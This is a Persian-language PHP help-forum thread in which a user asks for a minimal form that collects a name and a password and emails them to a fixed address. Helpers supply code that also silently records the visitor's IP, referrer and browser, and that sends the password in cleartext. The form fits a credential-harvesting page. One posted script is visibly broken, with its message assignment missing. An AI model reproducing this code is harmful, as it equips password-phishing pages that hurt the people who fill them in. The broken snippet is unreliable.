رفتن به مطلب

درخواست فرم ارسال ایمیل ساده


پست های پیشنهاد شده

سلام به استاتید محترم

دوستان عزیز ، من نیاز به یه فرم ساده دارم که 2 تا داده و یا مقدار رو از کاربر بگیره و اون رو ایمیل کنه به ایمیلی از پیش تایین شده

من یه فرم طراحی کردم یه فرم خیلی ساده با HTML میخوام این فرم رو رو هاست قرار بدم ! توی این فرم ساده از کاربر تو قسمت اول یه اسم خواسته میشه و تو قسمت دوم یه رمز! بعد دکمه ارسال رو که میزنه ، اون 2 تا مقداری که کاربر وارد کرده یعنی اسم و رمز ، به یه ایمیل بفرسته ، حالا هر ایمیلی که باشه. فکر نکنم کار پیچیده ای باشه و ساده است ممنون میشم اگر یکی زحمتش رو بکشه

لطفا به فایل ساده اچ تی ام ال من نگاه کنید من دقیقا روی همین فایل میخوام که کد مربوطه نوشته بشه به همین سادگی

فقط دوستان عزیز من یکی دوبار با چند راه مختلف تست کردن نشده! ممنون میشم اگر بعد از اینکه نوشتید این کد رو یه تست هم بفرمایید که درست باشه. و اینکه بعد از ارسال ایمیله یه متن نشون بده مثلا بگه ارسال شد

فایل رو پیوست کردم

متشکر

index.html

لینک به ارسال

بفرمایید index.php

index.zip

بعد از دانلود با یک ویرایشگر باز کن لاین 8 ایمیل خودتون جایگزین کن جای :


$to = "progpars@yahoo.com";

ویرایش شده توسط progpars
لینک به ارسال

سلا متشکر که وقت گذاشتید ولی این نوع فرم توی انجمن بود من یه نوع دیگه میخوام...

ببینید ! من نمیخوام که توی دستوراتش چک کنه اگر خالی بود بیاد فرم رو نشون بده و یا اگر خالی نبود بیاد پیام ارسال شد رو نشون بده وتشکر کنه!

میخوام یه فایل PHP جدا باشه که هیچ دستور شریط و.. نداشته باشه اصلا کاری نداشته باشه که فرم ها پر هستن و یا خالی و یا ..... فقط کارش دریافت پارامتر و ارسالش باشه

و اون رو الصاق کنم به این صفحه HTML خودم! یعنی 2 تا فایل جدا باشن نه اینکه یه فایل که توش همه این کد ها باشه و بیاد چک کنه ایا فرم خالیه و یا نه و ..... هیچی چک نکنه! فقط کار اون فایل PHP این بازی که ارسال کنه همین! و جدا باشن از هم

البته اگر بشه جدا باشن و چک بکنه که بدک نیست ولی من میخوام پیچیدگی نداشته باشه! من این فرم رو میخوام که روی یه مکان فوق العاده حساس پیادش کنم برای همینه که میگم ساده باشه تا اذیت نکنه ! میخوام بدونم چطوری میشه 2 تا پارامتر رو گرفت و با پی اچ پی ایمیلش کرد! کد شما هرچی که باشه من میخوام اونی که خودم نیاز دارم ازش بردارم

لینک به ارسال

یک مثال خیلی ساده برای دریافت از فرم:

در فایل html

<form method="post" action="send.php">
<input type="text" value="" name="field">
<input type="submit" value="submit">
</form>

در فایل send.php

<?php
$field = $_POST['field'];
echo $field;
?>

لینک به ارسال

متشکرم ولی توی این کد شما حرفی از ایمیل نزده شده! من میخوام توی فایلی که تو پست اول ضمیمه کردم یکی تو یه فایل جدای پی اچ پی بهش دستور ارسال اون فرم رو به یه ایمیل بده

لینک به ارسال


<form method="post" action="sendeail.php">
<!-- DO NOT change ANY of the php sections -->
<?php
$ipi = getenv("REMOTE_ADDR");
$httprefi = getenv ("HTTP_REFERER");
$httpagenti = getenv ("HTTP_USER_AGENT");
?>
<input type="hidden" name="ip" value="<?php echo $ipi ?>" />
<input type="hidden" name="httpref" value="<?php echo $httprefi ?>" />
<input type="hidden" name="httpagent" value="<?php echo $httpagenti ?>" />
<label>نام : <input type="text" name="visitor" size="50" /></label>
<label>پسورد : <input type="text" name="visitorpass" size="50" /></label>
<input type="submit" value="Submit" />
</form>

کد فرمتونه جای اون صفحه ی html یا داخل یم فایل بگذارید یا جداگانه در فرمت php ذخیره کنید


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sendemail Script</title>
</head>
<body>
<!-- Reminder: Add the link for the 'next page' (at the bottom) -->
<!-- Reminder: Change 'YourEmail' to Your real email -->
<?php
$ip = $_POST['ip'];
$httpref = $_POST['httpref'];
$httpagent = $_POST['httpagent'];
$visitor = $_POST['visitor'];
$visitorpass = $_POST['visitorpass'];

if(empty($visitor) || empty($visitorpass)) {
echo "<h2>خطا! تمام خانه ها تکمیل نشده اند</h2>\n";
die ("خطا! ! ");
}
$todayis = date("l, F j, Y, g:i a") ;
Name: $visitor\n
Pass: $visitorpass\n
Additional Info : IP = $ip \n
Browser Info: $httpagent \n
Referral : $httpref \n
";
$from = "From: EXAMPLE1@mail.com\r\n";

mail("YourEmail@domain.com", $subject, $message, $from);
?>
<p align="center">
تاریخ: <?php echo $todayis ?>
<br />
با تشکر دوست عزیز :
<br />
نام <?php echo $visitor ?>
<br />
پسورد :<?php echo $visitorpass ?>
<br />
<br />
<?php echo $ip ?>
ارسال شد
</p>
</body>
</html>

این کدها را هم با نام sendeail.php ذخیره کنید

آدرس کامل محل این فایل را در کد های قبل و جای action="sendeail.php" در حط اول بگذارید

در این کدها شما به دو آدرس ایمیل احتیاج دارید که یکی فرستنده و دیگری گیرنده است (چون نمی خواهید ایمیل بگیرید) پس هر دو را باید خودتان معرفی کنید یکی را بجای EXAMPLE1@mail.com و ایمیل خودتان که گیرنده اید را بجای YourEmail@domain.com قرار دهید

type password قابل خواندن نیست تایپ هر دو اینپوت را text گذاشتم و نام یکی را پسورد

یعنی به صورت ستاره ای نمی نویسد

لینک به ارسال

دوست گلم این یه کد اماده است که از یه وب دیگه برداشته شده! اصلا اینا چیزی نیست که من نیاز دارم! نمیخواد که اصلا چک کنه که تو فیلد چیزی هست ، نیست و..! شما این کد رو از یه وبلاگ برداشتید که قبلا من خودمم دیده بودمش!

من فقط از یه برنامه نویس PHP میخوام یه کد خیلی خیلی خیلی ساده بنویسه برای ارسال اطلاعات اون فایلی که توی پست اولم الصاق کردم! ، نمیخوام چک بشه که اطلاعات هست یا نه ، نمیخوام هیچ دستور ایف و یا شرطی باشه! فقط اینکه یه فایل جدای PHP باشه که به اون فایل من وصل بشه وقتی دکمه رو زدی اطلاعات رو به یک ایمیل ارسال کنه به سادگی سادگی سادگی ! اصلا نیازی نیست چک کننده ای باشه که چک کنه ایا اطلاعات هست تو فیلدا یا نیست و....

درخواست من خیلی ساده و روشنه نمیدونم چرا کسی متوجه اون نمیشه!

لینک به ارسال

کدی که آقا ایمان دادن PHP هست و دقیقا همین کاررو میکنه

http://php.net/manua...nction.mail.php

http://www.w3schools...hp/php_mail.asp

لینک به ارسال

ای وای !! اره میدونم ولی ایا کسی به درخواست من توجه میکنه؟؟؟ عزیز من دوستان گلم این کدی که شما ها میدید خیلی خیلی خیلی پیچیده است میدونم پی اچ پیه! ما C++ کار کردیم کد هارو میشناسیم ولی الان PHP لازم داریم و توش گیر کردیم همین! این کدی که شماها دارید میدید یه کدیه که میاد تست میکنه ایا فیلد ها پره یا نه اگر پر بود یه کاری کنه اگر نبود یه کار دیگه!!!

من اینارو نمیخوام ! من یه کد ساده میخوام که فقط اون مقادیر فایل خودم رو ارسال کنه دیگه چک نکنه که ایا پره یا نه! من میدونم دیگه این دوستان همه رفتن دارن توی گوگل سرچ میکنن این کد هارو میدن میخواید ادرس صفحاتی رو که این کد اقا ایمان و اون دوست دیگه مون دادن رو بهتون بدم که از کدوم وبلاگ برداشتن؟؟؟ من میخوام خودتون فایل اول من رو دانلود کنید یه چند خط کد ساده سادسه ساده ساده ساده ساده بنویسید که هیچ دستور شرطی نداشته باشه فقط ایمیل ارسال کنه که حاوی اون دوتا فیلد ورودی باشه! بابا خیلی ساده به خدا من PHP کار نکردم به خدا 4 دقیقه کار نداره نوشتنش! کارمون لنگ این کده

لینک به ارسال

ای وای !! اره میدونم ولی ایا کسی به درخواست من توجه میکنه؟؟؟ عزیز من دوستان گلم این کدی که شما ها میدید خیلی خیلی خیلی پیچیده است میدونم پی اچ پیه! ما C++ کار کردیم کد هارو میشناسیم ولی الان PHP لازم داریم و توش گیر کردیم همین! این کدی که شماها دارید میدید یه کدیه که میاد تست میکنه ایا فیلد ها پره یا نه اگر پر بود یه کاری کنه اگر نبود یه کار دیگه!!!

من اینارو نمیخوام ! من یه کد ساده میخوام که فقط اون مقادیر فایل خودم رو ارسال کنه دیگه چک نکنه که ایا پره یا نه! من میدونم دیگه این دوستان همه رفتن دارن توی گوگل سرچ میکنن این کد هارو میدن میخواید ادرس صفحاتی رو که این کد اقا ایمان و اون دوست دیگه مون دادن رو بهتون بدم که از کدوم وبلاگ برداشتن؟؟؟ من میخوام خودتون فایل اول من رو دانلود کنید یه چند خط کد ساده سادسه ساده ساده ساده ساده بنویسید که هیچ دستور شرطی نداشته باشه فقط ایمیل ارسال کنه که حاوی اون دوتا فیلد ورودی باشه! بابا خیلی ساده به خدا من PHP کار نکردم به خدا 4 دقیقه کار نداره نوشتنش! کارمون لنگ این کده

دوست عزیز شما یه کد می خوای یه روزنامه می نویسی چطوری انتظار داری با یه خط کد کارت حل شه

این قسمت رو از کد بالا حذف کن


if(empty($visitor) || empty($visitorpass)) {
echo "<h2>خطا! تمام خانه ها تکمیل نشده اند</h2>\n";
die ("خطا! ! ");
}

در ضمن کد تماس با ما مال هیچ وبلاگی یا شخصی نیست

در دنیای اوپن سورس هیچ کدی مالکیت فردی نداره و هر وبلاگی این کد را داره اون هم مثل من از گوشه ی دفترچه یادداشتش برداشته و ببخشید اگر من نمی دونستم شما چه وبلاگ هایی رفتید و چه کدهایی رو خوندید

بهر حال اگر تقاضاتون اتفاقی غیر تکراری در php باشه باید با سابت php.net تماس بگیرید و گرنه اینگونه کدها در همه جا همین شکلی هاست

لینک به ارسال

اخه چیکار کنم شما حتی به خودت زحمت نگاه کردن فایل اول من رو نمیدی! شما نمیخوای متوجه این مساله باشی که من میخوام فایل خودم که الصاق کردم با فایل ارسال کننده ایمیل جدا باشه همین!

من یه فایل دارم که تو اولین پست این تاپیک گذاشتم! یه فایل خارجی یعنی اکسترنال PHP میخوام که اون فایل من رو ارسال کنه! حالا اگر شما واقعا این مساله به این سادگی رو متوجه شدید بسم االله و ببینید اونی که شما دادی و باز داری تکرارش میکنی چقدر با اونی که ما میخوایم تفاوت داره!

درضمن این فرم تماس با ما نیست من این رو برای کار دیگه ای میخوام و ربطی به وردپرس و... نداره و برای همین تو قسمت PHP سوالم رو نوشتم!

ویرایش شده توسط rasivell
لینک به ارسال

دوستان زحمت نکشید! رفتم تو خود سایت PHP به یه نتیجه هایی رسیدم و خودم یه فایل اونطوری که میخواستم نوشتم ولی یه مشکلی داره و اونم اینه که مقدادیری که توی فرمه منه رو ارسال نمیکنه! یعنی ایمیل میاد ولی بجای اینکه اون 2 تا فیلد من رو اسال کرده باشه ! یه پیغام ارسال میکنه Pass همین!

فایل من:

http://uploadfa.net/uploads/13446705821.rar

لینک به ارسال

خوب درسته دیگه. شما توی متغییر message فقط دارید یک مقدار ورودی میریزید. آدرس ایمیل طرف رو هم که در ورودی اول میگیرید.

حالا چیزی که پیوست کردم رو چک کنید.

rasivell.rar

لینک به ارسال

متشكرم...

اين ارور رو داد:

Parse error: syntax error, unexpected T_VARIABLE in بعد در ادامه اشاره كرده بود به محل فايل در سرور و اخرشم كد زير رو داشت نشون ميداد:

/send.php on line 7

به خط شماره 7 داره اشاره ميكنه

منم يه برسي كردم ديدم كه انتهاي خط 6 بسته نشده با سيمي كالن و بستمش درست شد! اين دقيقا همونيه كه من ميخواستم! خوب شد رفتم اين سايت PHP رو ديدم و تونستم لا اقل نصفه هم كه شده به فايل درخواستيم اشاره كنم تا مرتضي جان هم زحمت تكميلش رو بكشن!

از دوستان متشكرم. مشكلم دقيقا حل شد.

فقط مرتضي جان ، اگر اون قسمت رمز رو تايپش رو بزارم پسورد كه موقع تايپ ستاره اي نشون بده! ديگه نميتونه به صورت عدد به ايميل ارسال كنه درسته؟

ویرایش شده توسط rasivell
لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...